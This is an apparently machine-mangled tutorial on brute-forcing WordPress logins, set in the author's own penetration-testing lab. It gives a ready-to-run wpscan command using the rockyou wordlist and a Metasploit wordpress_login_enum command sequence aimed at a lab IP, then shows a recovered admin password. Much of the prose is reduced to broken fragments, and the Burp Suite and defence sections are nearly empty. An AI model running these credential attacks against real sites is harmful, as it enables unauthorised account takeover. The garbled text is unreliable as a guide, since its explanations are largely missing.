Various WordPress Brute Force Attack Methods



In this article, you will learn how to hack WordPress site credentials using various brute force attacks.



Content:



  • Prerequisites
  • WPscan
  • Metasploit
  • Burp Suite
  • How to secure a site from brute force?


Prerequisites



  • Website powered by WordPress. Here we will use our own laboratory for penetration testing , the creation of which was dedicated to our previous post.
  • Kali Linux (WPscan). WPScan , Kali Linux .
  • Burp Suite (Intruder). .


WPscan



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wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt


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  • -P rockyou.txt


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Metasploit



Metasploit Kali Linux. Metasploit, WordPress. msf . , .



msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100
msf auxiliary(wordpress_login_enum) > set targeturi /wordpress
msf auxiliary(wordpress_login_enum) > set user_file user.txt
msf auxiliary(wordpress_login_enum) > set pass_file pass.txt
msf auxiliary(wordpress_login_enum) > exploit


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  • : admin
  • : flower




Burp Suite



Kali Burp Suite Community Edition. Burp Suite WordPress. Burp Proxy. WordPress. .





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  • Cloudflare
  • Jetpack
  • Swarmify
  • Amazon CloudFront (1 )
  • Incapsula
  • JS Deliver




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